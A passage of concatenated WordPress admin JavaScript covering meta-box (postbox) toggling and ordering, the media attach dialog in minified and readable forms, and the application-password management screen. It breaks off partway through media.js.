	$('a[href="#categories-pop"]').on( 'click', function(){setUserSetting('cats','pop');});

	if ( 'pop' == getUserSetting('cats') )
		$('a[href="#categories-pop"]').trigger( 'click' );

	/**
	 * Adds event handler that shows the interface controls to add a new category.
	 *
	 * @ignore
	 *
	 * @param {Event} event The event object.
	 * @return {boolean} Always returns false to prevent regular link
	 *                   functionality.
	 */
	$('#category-add-toggle').on( 'click', function() {
		$(this).parents('div:first').toggleClass( 'wp-hidden-children' );
		$('#category-tabs a[href="#categories-all"]').trigger( 'click' );
		$('#newcategory').trigger( 'focus' );
		return false;
	} );

	$('.categorychecklist :checkbox').on( 'change', syncChecks ).filter( ':checked' ).trigger( 'change' );
});
/**
 * Contains the postboxes logic, opening and closing postboxes, reordering and saving
 * the state and ordering to the database.
 *
 * @since 2.5.0
 * @requires jQuery
 * @output wp-admin/js/postbox.js
 */

/* global ajaxurl, postboxes */

(function($) {
	var $document = $( document ),
		__ = wp.i18n.__;

	/**
	 * This object contains all function to handle the behavior of the post boxes. The post boxes are the boxes you see
	 * around the content on the edit page.
	 *
	 * @since 2.7.0
	 *
	 * @namespace postboxes
	 *
	 * @type {Object}
	 */
	window.postboxes = {

		/**
		 * Handles a click on either the postbox heading or the postbox open/close icon.
		 *
		 * Opens or closes the postbox. Expects `this` to equal the clicked element.
		 * Calls postboxes.pbshow if the postbox has been opened, calls postboxes.pbhide
		 * if the postbox has been closed.
		 *
		 * @since 4.4.0
		 *
		 * @memberof postboxes
		 *
		 * @fires postboxes#postbox-toggled
		 *
		 * @return {void}
		 */
		handle_click : function () {
			var $el = $( this ),
				p = $el.closest( '.postbox' ),
				id = p.attr( 'id' ),
				ariaExpandedValue;

			if ( 'dashboard_browser_nag' === id ) {
				return;
			}

			p.toggleClass( 'closed' );
			ariaExpandedValue = ! p.hasClass( 'closed' );

			if ( $el.hasClass( 'handlediv' ) ) {
				// The handle button was clicked.
				$el.attr( 'aria-expanded', ariaExpandedValue );
			} else {
				// The handle heading was clicked.
				$el.closest( '.postbox' ).find( 'button.handlediv' )
					.attr( 'aria-expanded', ariaExpandedValue );
			}

			if ( postboxes.page !== 'press-this' ) {
				postboxes.save_state( postboxes.page );
			}

			if ( id ) {
				if ( !p.hasClass('closed') && typeof postboxes.pbshow === 'function' ) {
					postboxes.pbshow( id );
				} else if ( p.hasClass('closed') && typeof postboxes.pbhide === 'function' ) {
					postboxes.pbhide( id );
				}
			}

			/**
			 * Fires when a postbox has been opened or closed.
			 *
			 * Contains a jQuery object with the relevant postbox element.
			 *
			 * @since 4.0.0
			 * @ignore
			 *
			 * @event postboxes#postbox-toggled
			 * @type {Object}
			 */
			$document.trigger( 'postbox-toggled', p );
		},

		/**
		 * Handles clicks on the move up/down buttons.
		 *
		 * @since 5.5.0
		 *
		 * @return {void}
		 */
		handleOrder: function() {
			var button = $( this ),
				postbox = button.closest( '.postbox' ),
				postboxId = postbox.attr( 'id' ),
				postboxesWithinSortables = postbox.closest( '.meta-box-sortables' ).find( '.postbox:visible' ),
				postboxesWithinSortablesCount = postboxesWithinSortables.length,
				postboxWithinSortablesIndex = postboxesWithinSortables.index( postbox ),
				firstOrLastPositionMessage;

			if ( 'dashboard_browser_nag' === postboxId ) {
				return;
			}

			// If on the first or last position, do nothing and send an audible message to screen reader users.
			if ( 'true' === button.attr( 'aria-disabled' ) ) {
				firstOrLastPositionMessage = button.hasClass( 'handle-order-higher' ) ?
					__( 'The box is on the first position' ) :
					__( 'The box is on the last position' );

				wp.a11y.speak( firstOrLastPositionMessage );
				return;
			}

			// Move a postbox up.
			if ( button.hasClass( 'handle-order-higher' ) ) {
				// If the box is first within a sortable area, move it to the previous sortable area.
				if ( 0 === postboxWithinSortablesIndex ) {
					postboxes.handleOrderBetweenSortables( 'previous', button, postbox );
					return;
				}

				postbox.prevAll( '.postbox:visible' ).eq( 0 ).before( postbox );
				button.trigger( 'focus' );
				postboxes.updateOrderButtonsProperties();
				postboxes.save_order( postboxes.page );
			}

			// Move a postbox down.
			if ( button.hasClass( 'handle-order-lower' ) ) {
				// If the box is last within a sortable area, move it to the next sortable area.
				if ( postboxWithinSortablesIndex + 1 === postboxesWithinSortablesCount ) {
					postboxes.handleOrderBetweenSortables( 'next', button, postbox );
					return;
				}

				postbox.nextAll( '.postbox:visible' ).eq( 0 ).after( postbox );
				button.trigger( 'focus' );
				postboxes.updateOrderButtonsProperties();
				postboxes.save_order( postboxes.page );
			}

		},

		/**
		 * Moves postboxes between the sortables areas.
		 *
		 * @since 5.5.0
		 *
		 * @param {string} position The "previous" or "next" sortables area.
		 * @param {Object} button   The jQuery object representing the button that was clicked.
		 * @param {Object} postbox  The jQuery object representing the postbox to be moved.
		 *
		 * @return {void}
		 */
		handleOrderBetweenSortables: function( position, button, postbox ) {
			var closestSortablesId = button.closest( '.meta-box-sortables' ).attr( 'id' ),
				sortablesIds = [],
				sortablesIndex,
				detachedPostbox;

			// Get the list of sortables within the page.
			$( '.meta-box-sortables:visible' ).each( function() {
				sortablesIds.push( $( this ).attr( 'id' ) );
			});

			// Return if there's only one visible sortables area, e.g. in the block editor page.
			if ( 1 === sortablesIds.length ) {
				return;
			}

			// Find the index of the current sortables area within all the sortable areas.
			sortablesIndex = $.inArray( closestSortablesId, sortablesIds );
			// Detach the postbox to be moved.
			detachedPostbox = postbox.detach();

			// Move the detached postbox to its new position.
			if ( 'previous' === position ) {
				$( detachedPostbox ).appendTo( '#' + sortablesIds[ sortablesIndex - 1 ] );
			}

			if ( 'next' === position ) {
				$( detachedPostbox ).prependTo( '#' + sortablesIds[ sortablesIndex + 1 ] );
			}

			postboxes._mark_area();
			button.focus();
			postboxes.updateOrderButtonsProperties();
			postboxes.save_order( postboxes.page );
		},

		/**
		 * Update the move buttons properties depending on the postbox position.
		 *
		 * @since 5.5.0
		 *
		 * @return {void}
		 */
		updateOrderButtonsProperties: function() {
			var firstSortablesId = $( '.meta-box-sortables:visible:first' ).attr( 'id' ),
				lastSortablesId = $( '.meta-box-sortables:visible:last' ).attr( 'id' ),
				firstPostbox = $( '.postbox:visible:first' ),
				lastPostbox = $( '.postbox:visible:last' ),
				firstPostboxId = firstPostbox.attr( 'id' ),
				lastPostboxId = lastPostbox.attr( 'id' ),
				firstPostboxSortablesId = firstPostbox.closest( '.meta-box-sortables' ).attr( 'id' ),
				lastPostboxSortablesId = lastPostbox.closest( '.meta-box-sortables' ).attr( 'id' ),
				moveUpButtons = $( '.handle-order-higher' ),
				moveDownButtons = $( '.handle-order-lower' );

			// Enable all buttons as a reset first.
			moveUpButtons
				.attr( 'aria-disabled', 'false' )
				.removeClass( 'hidden' );
			moveDownButtons
				.attr( 'aria-disabled', 'false' )
				.removeClass( 'hidden' );

			// When there's only one "sortables" area (e.g. in the block editor) and only one visible postbox, hide the buttons.
			if ( firstSortablesId === lastSortablesId && firstPostboxId === lastPostboxId ) {
				moveUpButtons.addClass( 'hidden' );
				moveDownButtons.addClass( 'hidden' );
			}

			// Set an aria-disabled=true attribute on the first visible "move" buttons.
			if ( firstSortablesId === firstPostboxSortablesId ) {
				$( firstPostbox ).find( '.handle-order-higher' ).attr( 'aria-disabled', 'true' );
			}

			// Set an aria-disabled=true attribute on the last visible "move" buttons.
			if ( lastSortablesId === lastPostboxSortablesId ) {
				$( '.postbox:visible .handle-order-lower' ).last().attr( 'aria-disabled', 'true' );
			}
		},

		/**
		 * Adds event handlers to all postboxes and screen option on the current page.
		 *
		 * @since 2.7.0
		 *
		 * @memberof postboxes
		 *
		 * @param {string} page The page we are currently on.
		 * @param {Object} [args]
		 * @param {Function} args.pbshow A callback that is called when a postbox opens.
		 * @param {Function} args.pbhide A callback that is called when a postbox closes.
		 * @return {void}
		 */
		add_postbox_toggles : function (page, args) {
			var $handles = $( '.postbox .hndle, .postbox .handlediv' ),
				$orderButtons = $( '.postbox .handle-order-higher, .postbox .handle-order-lower' );

			this.page = page;
			this.init( page, args );

			$handles.on( 'click.postboxes', this.handle_click );

			// Handle the order of the postboxes.
			$orderButtons.on( 'click.postboxes', this.handleOrder );

			/**
			 * @since 2.7.0
			 */
			$('.postbox .hndle a').on( 'click', function(e) {
				e.stopPropagation();
			});

			/**
			 * Hides a postbox.
			 *
			 * Event handler for the postbox dismiss button. After clicking the button
			 * the postbox will be hidden.
			 *
			 * As of WordPress 5.5, this is only used for the browser update nag.
			 *
			 * @since 3.2.0
			 *
			 * @return {void}
			 */
			$( '.postbox a.dismiss' ).on( 'click.postboxes', function( e ) {
				var hide_id = $(this).parents('.postbox').attr('id') + '-hide';
				e.preventDefault();
				$( '#' + hide_id ).prop('checked', false).triggerHandler('click');
			});

			/**
			 * Hides the postbox element
			 *
			 * Event handler for the screen options checkboxes. When a checkbox is
			 * clicked this function will hide or show the relevant postboxes.
			 *
			 * @since 2.7.0
			 * @ignore
			 *
			 * @fires postboxes#postbox-toggled
			 *
			 * @return {void}
			 */
			$('.hide-postbox-tog').on('click.postboxes', function() {
				var $el = $(this),
					boxId = $el.val(),
					$postbox = $( '#' + boxId );

				if ( $el.prop( 'checked' ) ) {
					$postbox.show();
					if ( typeof postboxes.pbshow === 'function' ) {
						postboxes.pbshow( boxId );
					}
				} else {
					$postbox.hide();
					if ( typeof postboxes.pbhide === 'function' ) {
						postboxes.pbhide( boxId );
					}
				}

				postboxes.save_state( page );
				postboxes._mark_area();

				/**
				 * @since 4.0.0
				 * @see postboxes.handle_click
				 */
				$document.trigger( 'postbox-toggled', $postbox );
			});

			/**
			 * Changes the amount of columns based on the layout preferences.
			 *
			 * @since 2.8.0
			 *
			 * @return {void}
			 */
			$('.columns-prefs input[type="radio"]').on('click.postboxes', function(){
				var n = parseInt($(this).val(), 10);

				if ( n ) {
					postboxes._pb_edit(n);
					postboxes.save_order( page );
				}
			});
		},

		/**
		 * Initializes all the postboxes, mainly their sortable behavior.
		 *
		 * @since 2.7.0
		 *
		 * @memberof postboxes
		 *
		 * @param {string} page The page we are currently on.
		 * @param {Object} [args={}] The arguments for the postbox initializer.
		 * @param {Function} args.pbshow A callback that is called when a postbox opens.
		 * @param {Function} args.pbhide A callback that is called when a postbox
		 *                               closes.
		 *
		 * @return {void}
		 */
		init : function(page, args) {
			var isMobile = $( document.body ).hasClass( 'mobile' ),
				$handleButtons = $( '.postbox .handlediv' );

			$.extend( this, args || {} );
			$('.meta-box-sortables').sortable({
				placeholder: 'sortable-placeholder',
				connectWith: '.meta-box-sortables',
				items: '.postbox',
				handle: '.hndle',
				cursor: 'move',
				delay: ( isMobile ? 200 : 0 ),
				distance: 2,
				tolerance: 'pointer',
				forcePlaceholderSize: true,
				helper: function( event, element ) {
					/* `helper: 'clone'` is equivalent to `return element.clone();`
					 * Cloning a checked radio and then inserting that clone next to the original
					 * radio unchecks the original radio (since only one of the two can be checked).
					 * We get around this by renaming the helper's inputs' name attributes so that,
					 * when the helper is inserted into the DOM for the sortable, no radios are
					 * duplicated, and no original radio gets unchecked.
					 */
					return element.clone()
						.find( ':input' )
							.attr( 'name', function( i, currentName ) {
								return 'sort_' + parseInt( Math.random() * 100000, 10 ).toString() + '_' + currentName;
							} )
						.end();
				},
				opacity: 0.65,
				start: function() {
					$( 'body' ).addClass( 'is-dragging-metaboxes' );
					// Refresh the cached positions of all the sortable items so that the min-height set while dragging works.
					$( '.meta-box-sortables' ).sortable( 'refreshPositions' );
				},
				stop: function() {
					var $el = $( this );

					$( 'body' ).removeClass( 'is-dragging-metaboxes' );

					if ( $el.find( '#dashboard_browser_nag' ).is( ':visible' ) && 'dashboard_browser_nag' != this.firstChild.id ) {
						$el.sortable('cancel');
						return;
					}

					postboxes.updateOrderButtonsProperties();
					postboxes.save_order(page);
				},
				receive: function(e,ui) {
					if ( 'dashboard_browser_nag' == ui.item[0].id )
						$(ui.sender).sortable('cancel');

					postboxes._mark_area();
					$document.trigger( 'postbox-moved', ui.item );
				}
			});

			if ( isMobile ) {
				$(document.body).on('orientationchange.postboxes', function(){ postboxes._pb_change(); });
				this._pb_change();
			}

			this._mark_area();

			// Update the "move" buttons properties.
			this.updateOrderButtonsProperties();
			$document.on( 'postbox-toggled', this.updateOrderButtonsProperties );

			// Set the handle buttons `aria-expanded` attribute initial value on page load.
			$handleButtons.each( function () {
				var $el = $( this );
				$el.attr( 'aria-expanded', ! $el.closest( '.postbox' ).hasClass( 'closed' ) );
			});
		},

		/**
		 * Saves the state of the postboxes to the server.
		 *
		 * It sends two lists, one with all the closed postboxes, one with all the
		 * hidden postboxes.
		 *
		 * @since 2.7.0
		 *
		 * @memberof postboxes
		 *
		 * @param {string} page The page we are currently on.
		 * @return {void}
		 */
		save_state : function(page) {
			var closed, hidden;

			// Return on the nav-menus.php screen, see #35112.
			if ( 'nav-menus' === page ) {
				return;
			}

			closed = $( '.postbox' ).filter( '.closed' ).map( function() { return this.id; } ).get().join( ',' );
			hidden = $( '.postbox' ).filter( ':hidden' ).map( function() { return this.id; } ).get().join( ',' );

			$.post(ajaxurl, {
				action: 'closed-postboxes',
				closed: closed,
				hidden: hidden,
				closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(),
				page: page
			});
		},

		/**
		 * Saves the order of the postboxes to the server.
		 *
		 * Sends a list of all postboxes inside a sortable area to the server.
		 *
		 * @since 2.8.0
		 *
		 * @memberof postboxes
		 *
		 * @param {string} page The page we are currently on.
		 * @return {void}
		 */
		save_order : function(page) {
			var postVars, page_columns = $('.columns-prefs input:checked').val() || 0;

			postVars = {
				action: 'meta-box-order',
				_ajax_nonce: $('#meta-box-order-nonce').val(),
				page_columns: page_columns,
				page: page
			};

			$('.meta-box-sortables').each( function() {
				postVars[ 'order[' + this.id.split( '-' )[0] + ']' ] = $( this ).sortable( 'toArray' ).join( ',' );
			} );

			$.post(
				ajaxurl,
				postVars,
				function( response ) {
					if ( response.success ) {
						wp.a11y.speak( __( 'The boxes order has been saved.' ) );
					}
				}
			);
		},

		/**
		 * Marks empty postbox areas.
		 *
		 * Adds a message to empty sortable areas on the dashboard page. Also adds a
		 * border around the side area on the post edit screen if there are no postboxes
		 * present.
		 *
		 * @since 3.3.0
		 * @access private
		 *
		 * @memberof postboxes
		 *
		 * @return {void}
		 */
		_mark_area : function() {
			var visible = $( 'div.postbox:visible' ).length,
				visibleSortables = $( '#dashboard-widgets .meta-box-sortables:visible, #post-body .meta-box-sortables:visible' ),
				areAllVisibleSortablesEmpty = true;

			visibleSortables.each( function() {
				var t = $(this);

				if ( visible == 1 || t.children( '.postbox:visible' ).length ) {
					t.removeClass('empty-container');
					areAllVisibleSortablesEmpty = false;
				}
				else {
					t.addClass('empty-container');
				}
			});

			postboxes.updateEmptySortablesText( visibleSortables, areAllVisibleSortablesEmpty );
		},

		/**
		 * Updates the text for the empty sortable areas on the Dashboard.
		 *
		 * @since 5.5.0
		 *
		 * @param {Object}  visibleSortables            The jQuery object representing the visible sortable areas.
		 * @param {boolean} areAllVisibleSortablesEmpty Whether all the visible sortable areas are "empty".
		 *
		 * @return {void}
		 */
		updateEmptySortablesText: function( visibleSortables, areAllVisibleSortablesEmpty ) {
			var isDashboard = $( '#dashboard-widgets' ).length,
				emptySortableText = areAllVisibleSortablesEmpty ?  __( 'Add boxes from the Screen Options menu' ) : __( 'Drag boxes here' );

			if ( ! isDashboard ) {
				return;
			}

			visibleSortables.each( function() {
				if ( $( this ).hasClass( 'empty-container' ) ) {
					$( this ).attr( 'data-emptyString', emptySortableText );
				}
			} );
		},

		/**
		 * Changes the amount of columns on the post edit page.
		 *
		 * @since 3.3.0
		 * @access private
		 *
		 * @memberof postboxes
		 *
		 * @fires postboxes#postboxes-columnchange
		 *
		 * @param {number} n The amount of columns to divide the post edit page in.
		 * @return {void}
		 */
		_pb_edit : function(n) {
			var el = $('.metabox-holder').get(0);

			if ( el ) {
				el.className = el.className.replace(/columns-\d+/, 'columns-' + n);
			}

			/**
			 * Fires when the amount of columns on the post edit page has been changed.
			 *
			 * @since 4.0.0
			 * @ignore
			 *
			 * @event postboxes#postboxes-columnchange
			 */
			$( document ).trigger( 'postboxes-columnchange' );
		},

		/**
		 * Changes the amount of columns the postboxes are in based on the current
		 * orientation of the browser.
		 *
		 * @since 3.3.0
		 * @access private
		 *
		 * @memberof postboxes
		 *
		 * @return {void}
		 */
		_pb_change : function() {
			var check = $( 'label.columns-prefs-1 input[type="radio"]' );

			switch ( window.orientation ) {
				case 90:
				case -90:
					if ( !check.length || !check.is(':checked') )
						this._pb_edit(2);
					break;
				case 0:
				case 180:
					if ( $( '#poststuff' ).length ) {
						this._pb_edit(1);
					} else {
						if ( !check.length || !check.is(':checked') )
							this._pb_edit(2);
					}
					break;
			}
		},

		/* Callbacks */

		/**
		 * @since 2.7.0
		 * @access public
		 *
		 * @property {Function|boolean} pbshow A callback that is called when a postbox
		 *                                     is opened.
		 * @memberof postboxes
		 */
		pbshow : false,

		/**
		 * @since 2.7.0
		 * @access public
		 * @property {Function|boolean} pbhide A callback that is called when a postbox
		 *                                     is closed.
		 * @memberof postboxes
		 */
		pbhide : false
	};

}(jQuery));
/*! This file is auto-generated */
!function(s){window.findPosts={open:function(n,e){var i=s(".ui-find-overlay");return 0===i.length&&(s("body").append('<div class="ui-find-overlay"></div>'),findPosts.overlay()),i.show(),n&&e&&s("#affected").attr("name",n).val(e),s("#find-posts").show(),s("#find-posts-input").trigger("focus").on("keyup",function(n){27==n.which&&findPosts.close()}),findPosts.send(),!1},close:function(){s("#find-posts-response").empty(),s("#find-posts").hide(),s(".ui-find-overlay").hide()},overlay:function(){s(".ui-find-overlay").on("click",function(){findPosts.close()})},send:function(){var n={ps:s("#find-posts-input").val(),action:"find_posts",_ajax_nonce:s("#_ajax_nonce").val()},e=s(".find-box-search .spinner");e.addClass("is-active"),s.ajax(ajaxurl,{type:"POST",data:n,dataType:"json"}).always(function(){e.removeClass("is-active")}).done(function(n){n.success||s("#find-posts-response").text(wp.i18n.__("An error has occurred. Please reload the page and try again.")),s("#find-posts-response").html(n.data)}).fail(function(){s("#find-posts-response").text(wp.i18n.__("An error has occurred. Please reload the page and try again."))})}},s(function(){var o,n,e=s("#wp-media-grid"),i=new ClipboardJS(".copy-attachment-url.media-library");e.length&&window.wp&&window.wp.media&&(n=_wpMediaGridSettings,n=window.wp.media({frame:"manage",container:e,library:n.queryVars}).open(),e.trigger("wp-media-grid-ready",n)),s("#find-posts-submit").on("click",function(n){s('#find-posts-response input[type="radio"]:checked').length||n.preventDefault()}),s("#find-posts .find-box-search :input").on("keypress",function(n){if(13==n.which)return findPosts.send(),!1}),s("#find-posts-search").on("click",findPosts.send),s("#find-posts-close").on("click",findPosts.close),s("#doaction").on("click",function(e){s('select[name="action"]').each(function(){var n=s(this).val();"attach"===n?(e.preventDefault(),findPosts.open()):"delete"!==n||showNotice.warn()||e.preventDefault()})}),s(".find-box-inside").on("click","tr",function(){s(this).find(".found-radio input").prop("checked",!0)}),i.on("success",function(n){var e=s(n.trigger),i=s(".success",e.closest(".copy-to-clipboard-container"));n.clearSelection(),clearTimeout(o),i.removeClass("hidden"),o=setTimeout(function(){i.addClass("hidden")},3e3),wp.a11y.speak(wp.i18n.__("The file URL has been copied to your clipboard"))})})}(jQuery);/**
 * @output wp-admin/js/application-passwords.js
 */

( function( $ ) {
	var $appPassSection = $( '#application-passwords-section' ),
		$newAppPassForm = $appPassSection.find( '.create-application-password' ),
		$newAppPassField = $newAppPassForm.find( '.input' ),
		$newAppPassButton = $newAppPassForm.find( '.button' ),
		$appPassTwrapper = $appPassSection.find( '.application-passwords-list-table-wrapper' ),
		$appPassTbody = $appPassSection.find( 'tbody' ),
		$appPassTrNoItems = $appPassTbody.find( '.no-items' ),
		$removeAllBtn = $( '#revoke-all-application-passwords' ),
		tmplNewAppPass = wp.template( 'new-application-password' ),
		tmplAppPassRow = wp.template( 'application-password-row' ),
		userId = $( '#user_id' ).val();

	$newAppPassButton.on( 'click', function( e ) {
		e.preventDefault();

		if ( $newAppPassButton.prop( 'aria-disabled' ) ) {
			return;
		}

		var name = $newAppPassField.val();

		if ( 0 === name.length ) {
			$newAppPassField.trigger( 'focus' );
			return;
		}

		clearNotices();
		$newAppPassButton.prop( 'aria-disabled', true ).addClass( 'disabled' );

		var request = {
			name: name
		};

		/**
		 * Filters the request data used to create a new Application Password.
		 *
		 * @since 5.6.0
		 *
		 * @param {Object} request The request data.
		 * @param {number} userId  The id of the user the password is added for.
		 */
		request = wp.hooks.applyFilters( 'wp_application_passwords_new_password_request', request, userId );

		wp.apiRequest( {
			path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user',
			method: 'POST',
			data: request
		} ).always( function() {
			$newAppPassButton.removeProp( 'aria-disabled' ).removeClass( 'disabled' );
		} ).done( function( response ) {
			$newAppPassField.val( '' );
			$newAppPassButton.prop( 'disabled', false );

			$newAppPassForm.after( tmplNewAppPass( {
				name: response.name,
				password: response.password
			} ) );
			$( '.new-application-password-notice' ).attr( 'tabindex', '-1' ).trigger( 'focus' );

			$appPassTbody.prepend( tmplAppPassRow( response ) );

			$appPassTwrapper.show();
			$appPassTrNoItems.remove();

			/**
			 * Fires after an application password has been successfully created.
			 *
			 * @since 5.6.0
			 *
			 * @param {Object} response The response data from the REST API.
			 * @param {Object} request  The request data used to create the password.
			 */
			wp.hooks.doAction( 'wp_application_passwords_created_password', response, request );
		} ).fail( handleErrorResponse );
	} );

	$appPassTbody.on( 'click', '.delete', function( e ) {
		e.preventDefault();

		if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke this password? This action cannot be undone.' ) ) ) {
			return;
		}

		var $submitButton = $( this ),
			$tr = $submitButton.closest( 'tr' ),
			uuid = $tr.data( 'uuid' );

		clearNotices();
		$submitButton.prop( 'disabled', true );

		wp.apiRequest( {
			path: '/wp/v2/users/' + userId + '/application-passwords/' + uuid + '?_locale=user',
			method: 'DELETE'
		} ).always( function() {
			$submitButton.prop( 'disabled', false );
		} ).done( function( response ) {
			if ( response.deleted ) {
				if ( 0 === $tr.siblings().length ) {
					$appPassTwrapper.hide();
				}
				$tr.remove();

				addNotice( wp.i18n.__( 'Application password revoked.' ), 'success' ).trigger( 'focus' );
			}
		} ).fail( handleErrorResponse );
	} );

	$removeAllBtn.on( 'click', function( e ) {
		e.preventDefault();

		if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke all passwords? This action cannot be undone.' ) ) ) {
			return;
		}

		var $submitButton = $( this );

		clearNotices();
		$submitButton.prop( 'disabled', true );

		wp.apiRequest( {
			path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user',
			method: 'DELETE'
		} ).always( function() {
			$submitButton.prop( 'disabled', false );
		} ).done( function( response ) {
			if ( response.deleted ) {
				$appPassTbody.children().remove();
				$appPassSection.children( '.new-application-password' ).remove();
				$appPassTwrapper.hide();

				addNotice( wp.i18n.__( 'All application passwords revoked.' ), 'success' ).trigger( 'focus' );
			}
		} ).fail( handleErrorResponse );
	} );

	$appPassSection.on( 'click', '.notice-dismiss', function( e ) {
		e.preventDefault();
		var $el = $( this ).parent();
		$el.removeAttr( 'role' );
		$el.fadeTo( 100, 0, function () {
			$el.slideUp( 100, function () {
				$el.remove();
				$newAppPassField.trigger( 'focus' );
			} );
		} );
	} );

	$newAppPassField.on( 'keypress', function ( e ) {
		if ( 13 === e.which ) {
			e.preventDefault();
			$newAppPassButton.trigger( 'click' );
		}
	} );

	// If there are no items, don't display the table yet.  If there are, show it.
	if ( 0 === $appPassTbody.children( 'tr' ).not( $appPassTrNoItems ).length ) {
		$appPassTwrapper.hide();
	}

	/**
	 * Handles an error response from the REST API.
	 *
	 * @since 5.6.0
	 *
	 * @param {jqXHR} xhr The XHR object from the ajax call.
	 * @param {string} textStatus The string categorizing the ajax request's status.
	 * @param {string} errorThrown The HTTP status error text.
	 */
	function handleErrorResponse( xhr, textStatus, errorThrown ) {
		var errorMessage = errorThrown;

		if ( xhr.responseJSON && xhr.responseJSON.message ) {
			errorMessage = xhr.responseJSON.message;
		}

		addNotice( errorMessage, 'error' );
	}

	/**
	 * Displays a message in the Application Passwords section.
	 *
	 * @since 5.6.0
	 *
	 * @param {string} message The message to display.
	 * @param {string} type    The notice type. Either 'success' or 'error'.
	 * @returns {jQuery} The notice element.
	 */
	function addNotice( message, type ) {
		var $notice = $( '<div></div>' )
			.attr( 'role', 'alert' )
			.attr( 'tabindex', '-1' )
			.addClass( 'is-dismissible notice notice-' + type )
			.append( $( '<p></p>' ).text( message ) )
			.append(
				$( '<button></button>' )
					.attr( 'type', 'button' )
					.addClass( 'notice-dismiss' )
					.append( $( '<span></span>' ).addClass( 'screen-reader-text' ).text( wp.i18n.__( 'Dismiss this notice.' ) ) )
			);

		$newAppPassForm.after( $notice );

		return $notice;
	}

	/**
	 * Clears notice messages from the Application Passwords section.
	 *
	 * @since 5.6.0
	 */
	function clearNotices() {
		$( '.notice', $appPassSection ).remove();
	}
}( jQuery ) );
/**
 * Creates a dialog containing posts that can have a particular media attached
 * to it.
 *
 * @since 2.7.0
 * @output wp-admin/js/media.js
 *
 * @namespace findPosts
 *
 * @requires jQuery
 */

/* global ajaxurl, _wpMediaGridSettings, showNotice, findPosts, ClipboardJS */

( function( $ ){
	window.findPosts = {
		/**
		 * Opens a dialog to attach media to a post.
		 *
		 * Adds an overlay prior to retrieving a list of posts to attach the media to.
		 *
		 * @since 2.7.0
		 *
		 * @memberOf findPosts
		 *
		 * @param {string} af_name The name of the affected element.
		 * @param {string} af_val The value of the affected post element.
		 *
		 * @return {boolean} Always returns false.
		 */
		open: function( af_name, af_val ) {
			var overlay = $( '.ui-find-overlay' );

			if ( overlay.length === 0 ) {
				$( 'body' ).append( '<div class="ui-find-overlay"></div>' );
				findPosts.overlay();
			}

			overlay.show();

			if ( af_name && af_val ) {
				// #affected is a hidden input field in the dialog that keeps track of which media should be attached.
				$( '#affected' ).attr( 'name', af_name ).val( af_val );
			}

			$( '#find-posts' ).show();

			// Close the dialog when the escape key is pressed.
			$('#find-posts-input').trigger( 'focus' ).on( 'keyup', function( event ){
				if ( event.which == 27 ) {
					findPosts.close();
				}
			});

			// Retrieves a list of applicable posts for media attachment and shows them.
			findPosts.send();

			return false;
		},

		/**
		 * Clears the found posts lists before hiding the attach media dialog.
		 *
		 * @since 2.7.0
		 *
		 * @memberOf findPosts
		 *
		 * @return {void}
		 */
		close: function() {
			$('#find-posts-response').empty();
			$('#find-posts').hide();
			$( '.ui-find-overlay' ).hide();
		},

		/**
		 * Binds a click event listener to the overlay which closes the attach media
		 * dialog.
		 *
		 * @since 3.5.0
		 *
		 * @memberOf findPosts
		 *
		 * @return {void}
		 */
		overlay: function() {
			$( '.ui-find-overlay' ).on( 'click', function () {
				findPosts.close();
			});
		},

		/**
		 * Retrieves and displays posts based on the search term.
		 *
		 * Sends a post request to the admin_ajax.php, requesting posts based on the
		 * search term provided by the user. Defaults to all posts if no search term is
		 * provided.
		 *
		 * @since 2.7.0
		 *
		 * @memberOf findPosts
		 *
		 * @return {void}
		 */
		send: function() {
			var post = {
					ps: $( '#find-posts-input' ).val(),
					action: 'find_posts',
					_ajax_nonce: $('#_ajax_nonce').val()
				},
				spinner = $( '.find-box-search .spinner' );

			spinner.addClass( 'is-active' );

			/**
			 * Send a POST request to admin_ajax.php, hide the spinner and replace the list
			 * of posts with the response data. If an error occurs, display it.
			 */
			$.ajax( ajaxurl, {
				type: 'POST',
				data: post,
				dataType: 'json'
			}).always( function() {
				spinner.removeClass( 'is-active' );
			}).done( function( x ) {
				if ( ! x.success ) {
					$( '#find-posts-response' ).text( wp.i18n.__( 'An error has occurred. Please reload the page and try again.' ) );
				}

				$( '#find-posts-response' ).html( x.data );
			}).fail( function() {
				$( '#find-posts-response' ).text( wp.i18n.__( 'An error has occurred. Please reload the page and try again.' ) );
			});
		}
	};

	/**
	 * Initializes the file once the DOM is fully loaded and attaches events to the
	 * various form elements.
	 *
	 * @return {void}
	 */
	$( function() {
		var settings,
			$mediaGridWrap             = $( '#wp-media-grid' ),
			copyAttachmentURLClipboard = new ClipboardJS( '.copy-attachment-url.media-library' ),
			copyAttachmentURLSuccessTimeout;

		// Opens a manage media frame into the grid.
		if ( $mediaGridWrap.length && window.wp && window.wp.media ) {
			settings = _wpMediaGridSettings;

			var frame = window.wp.media({
				frame: 'manage',
				container: $mediaGridWrap,
				library: settings.queryVars
			}).open();

			// Fire a global ready event.
			$mediaGridWrap.trigger( 'wp-media-grid-ready', frame );
		}

		// Prevents form submission if no post has been selected.
		$( '#find-posts-submit' ).on( 'click', function( event ) {
			if ( ! $( '#find-posts-response input[type="radio"]:checked' ).length )
				event.preventDefault();
		});

		// Submits the search query when hitting the enter key in the search input.
		$( '#find-posts .find-box-search :input' ).on( 'keypress', function( event ) {
			if ( 13 == event.which ) {
				findPosts.send();
				return false;
			}
		});

		// Binds the click event to the search button.
		$( '#find-posts-search' ).on( 'click', findPosts.send );

		// Binds the close dialog click event.
		$( '#find-posts-close' ).on( 'click', findPosts.close );

		// Binds the bulk action events to the submit buttons.
		$( '#doaction' ).on( 'click', function( event ) {

			/*
			 * Handle the bulk action based on its value.
			 */
			$( 'select[name="action"]' ).each( function() {
				var optionValue = $( this ).val();

				if ( 'attach' === optionValue ) {
					event.preventDefault();
					findPosts.open();
				} else if ( 'delete' === optionValue ) {
					if ( ! showNotice.warn() ) {
						event.preventDefault();
					}
				}
			});
		});

		/**
		 * Enables clicking on the entire table row.
		 *
		 * @return {void}
		 */
		$( '.find-box-inside' ).on( 'click', 'tr', function() {
			$( this ).find( '.found-radio input' ).prop( 'checked', true );
		});

		/**
		 * Handles media list copy media URL button.
		 *
		 * @since 6.0.0
		 *
		 * @param {MouseEvent} event A click event.
		 * @return {void}
		 */
		copyAttachmentURLClipboard.on( 'success', function( event ) {
